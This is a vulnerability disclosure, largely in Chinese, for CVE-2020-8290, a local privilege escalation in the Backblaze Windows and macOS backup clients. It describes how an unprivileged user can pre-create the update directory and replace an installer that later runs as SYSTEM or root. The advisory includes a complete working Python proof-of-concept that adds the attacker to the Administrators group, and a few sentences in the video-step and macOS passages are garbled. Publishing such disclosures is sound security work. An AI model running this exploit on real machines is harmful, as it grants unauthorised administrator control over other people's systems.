
CVE-2020-8290 – Elevation of Privilege in Backblaze
名称: Backblaze 中的权限提升
CVE: CVE-2020-8290
发现者: Jason Geffner
供应商: Backblaze
产品: Backblaze for Windows 和 Backblaze for macOS
风险: 高
发现日期: 2020-03-13
公开日期: 2020-09-09
修复版本: 7.0.0.439
根据维基百科,Backblaze 是
“一种在线备份工具,允许 Windows 和 macOS 用户将数据备份到异地数据中心。该服务面向企业和最终用户,提供无限的存储空间并支持无限的文件大小。”
Backblaze for Windows 和 Backblaze for macOS 的易受攻击版本包含一个高风险漏洞,允许本地非特权攻击者执行权限提升 (EOP) 攻击,成为 SYSTEM/root。
Backblaze 客户端的服务进程名为 bzserv,在 Windows 上以 SYSTEM 运行,在 macOS 上以 root 运行。每隔几个小时,bzserv 会运行一个名为 bztransmit 的程序(以 SYSTEM/root 身份执行),从 Backblaze 的数据中心下载一个名为 clientversion.xml 的 XML 文件,以检查是否有更新版本的 Backblaze 客户端可供下载。如果有,则从 Backblaze 的数据中心下载最新客户端版本的安装程序。下载的安装程序在 Windows 上保存到 %ProgramData%\Backblaze\bzdata\bzupdates 目录,在 macOS 上保存到 /Library/Backblaze.bzpkg/bzdata/bzupdates 或 /Library/Backblaze/bzdata/bzupdates 目录。下载完成后,bztransmit 会通过 ShellExecute() 以 SYSTEM 身份或通过 system() 以 root 身份运行下载的安装程序。
在 Windows 上,%ProgramData%\Backblaze\bzdata 目录在安装时创建,本地非特权用户拥有读写权限。bztransmit 进程在运行期间以 SYSTEM 身份创建 bzupdates 子目录,一旦创建,非特权用户对此子目录没有读写权限。然而,bztransmit 进程在 bzupdates 目录已存在时,不会安全地验证其 ACL,也不会安全地更新 ACL。因此,本地非特权攻击者可以在 Backblaze 安装之前创建 %ProgramData%\Backblaze\bzdata\bzupdates 目录,或者在 Backblaze 安装后、bztransmit 创建 bzupdates 子目录之前创建该子目录。这使得攻击者成为 bzupdates 目录的所有者,并完全控制该目录中的文件。因此,攻击者可以在下载的更新可执行文件下载后但执行前修改或替换它,从而实现本地 EOP。
在 macOS 上,/Library/Backblaze.bzpkg/bzdata(或 /Library/Backblaze/bzdata)目录在安装时创建,具有权限 0777(drwxrwxrwx),本地非特权用户拥有读写访问权限。bztransmit 进程在运行期间以 root 身份创建 bzupdates 子目录,权限为 0755(drwxr-xr-x),一旦创建,非特权用户对此子目录没有读写权限。然而,bztransmit 进程在 bzupdates 目录已存在时,不会安全地验证其权限,也不会安全地更新权限。因此,本地非特权攻击者可以在 Backblaze 安装后、bztransmit 创建 bzupdates 子目录之前,在 /Library/Backblaze.bzpkg/bzdata(或 /Library/Backblaze/bzdata)下创建 子目录。这使得攻击者成为 目录的所有者,并完全控制该目录中的文件。因此,攻击者可以在下载的更新可执行文件下载后但执行前修改或替换它,从而实现本地 EOP。
视频: https://youtu.be/OpC6neWd2aM
上述视频展示了同一台虚拟机上的两个并发登录会话:左侧是管理员会话,右侧是非特权攻击者会话。您可以在视频中看到以下步骤:
Attacker 运行 net localgroup Administrators,显示非特权攻击者账户(名为 Attacker)不是 Administrators 组的成员。python eop.py(其源代码见下文)。clientversion.xml,该文件被漏洞利用代码覆盖。Attacker 账户添加到 Administrators 组。net localgroup Administrators,显示 Attacker 账户确实已被添加到 Administrators 组。本地权限提升完成。# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time
def wait_for_filesystem_object(file_path):
if os.path.exists(file_path):
return
parent_directory = os.path.dirname(file_path)
if not os.path.exists(parent_directory):
wait_for_filesystem_object(parent_directory)
buffer = ctypes.create_string_buffer(1024)
bytes_returned = ctypes.c_ulong()
if "." in os.path.basename(file_path):
notify_filter = 8
else:
notify_filter = 2
h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
0x02000000, None)
while not os.path.exists(file_path):
ctypes.windll.kernel32.ReadDirectoryChangesW(
h, ctypes.byref(buffer), 1024, False, notify_filter,
ctypes.byref(bytes_returned), None, None)
ctypes.windll.kernel32.CloseHandle(h)
def get_exe_content():
#
# Returns the content of an EXE that will add the attacker to the
# Administrators group. Based on
# https://github.com/corkami/pocs/blob/master/PE/tiny.asm
#
exe_content = bz2.decompress(base64.b85decode(
"LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
"~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
"p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
exe_content += ("NET LOCALGROUP Administrators " +
f"{os.environ['USERDOMAIN']}\\" +
f"{os.environ['USERNAME']} /ADD").encode()
return exe_content
def am_i_admin():
bufptr = ctypes.c_void_p()
ctypes.windll.netapi32.NetUserGetInfo(
os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
ctypes.byref(bufptr))
if platform.architecture()[0] == "32bit":
usri1_priv = ctypes.string_at(bufptr, 13)[-1]
else:
usri1_priv = ctypes.string_at(bufptr, 21)[-1]
ctypes.windll.netapi32.NetApiBufferFree(bufptr)
return usri1_priv == 2
def poc():
print(f"Running as user: {os.environ['USERNAME']}")
# Ensure that we're running as an unprivileged user.
print("Testing for administrative privileges...")
if am_i_admin():
print("You're already an administrator. Bye!")
return
print("You're a non-administrative user.")
# Raise our process's priority to try to win our race condition.
pid = ctypes.windll.kernel32.GetCurrentProcessId()
h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
ctypes.windll.kernel32.CloseHandle(h)
# Create the bzupdates directory so that we are the owner of it.
bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
if os.path.exists(bzupdates):
print("Backblaze's bzupdates directory was already created. You're " +
"too late!")
return
os.makedirs(bzupdates)
#
# Get the installed hguid value so that we can force an update via
# clientversion.xml.
#
if platform.architecture()[0] == "32bit":
bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
else:
bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
"\\Backblaze\\bzinstall.xml"
if not os.path.exists(bzinstall):
print("Waiting for Backblaze's installer to assign an hguid value.")
wait_for_filesystem_object(bzinstall)
print("Backblaze assigned an hguid value.")
with open(bzinstall) as f:
xml = f.read()
hguid = re.search('hguid="([^"]+)"', xml).group(1)
# Force update via clientversion.xml.
if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
print("Waiting for Backblaze to download clientversion.xml.")
wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
print("clientversion.xml now downloaded.")
with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
xml = f.read()
xml = re.sub('update_hguids_firstchar=".',
f'update_hguids_firstchar="{hguid[0]}', xml)
xml = xml.replace('win32_version="', 'win32_version="1')
f.truncate(0)
f.seek(0)
f.write(xml)
print("clientversion.xml modified to force update next time Backblaze " +
"considers updating.")
# Don't allow SYSTEM to overwrite clientversion.xml.
subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
"/setowner", f"{os.environ['USERNAME']}"])
print()
subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
'/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
print()
#
# Create an executable to replace the downloaded update, which will elevate
# our privileges.
#
exe_content = get_exe_content()
with open(f"{bzupdates}\\eop.exe", "wb") as f:
f.write(exe_content)
#
# Wait for update to download and overwrite it with attacker's executable.
# In this PoC we use iexpress.exe (built into Windows) to create an EXE that
# adds the attacker to the Administrators group, but an attacker could
# supply any executable content they like.
#
exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
print(f"Waiting for Backblaze to download {exe}.")
wait_for_filesystem_object(f"{bzupdates}\\{exe}")
os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
print(f"{exe} downloaded and replaced.")
print(f"{exe} should now get executed as SYSTEM.")
for i in range(5):
if am_i_admin():
print("Success! You're now an administrator!")
return
time.sleep(1)
print("Exploit failed. We probably lost the race-condition when " +
f"overwriting {exe}.")
if __name__ == "__main__":
poc()
Backblaze 在版本 7.0.0.439 中修补了此漏洞。
该漏洞由 Jason Geffner 通过 HackerOne 发现并报告给 Backblaze。
2020-03-13 - 发现漏洞并通过 HackerOne 报告给 Backblaze
2020-03-26 - HackerOne 验证漏洞
2020-04-22 - 分配 CVE-2020-8152
2020-04-22 - 发布版本 7.0.0.439
2020-04-22 - 验证漏洞缓解措施
2020-04-23 - 请求公开披露
2020-09-09 - 公开披露
2020-12-22 - CVE 分配变更为 CVE-2020-8290
bzupdatesbzupdates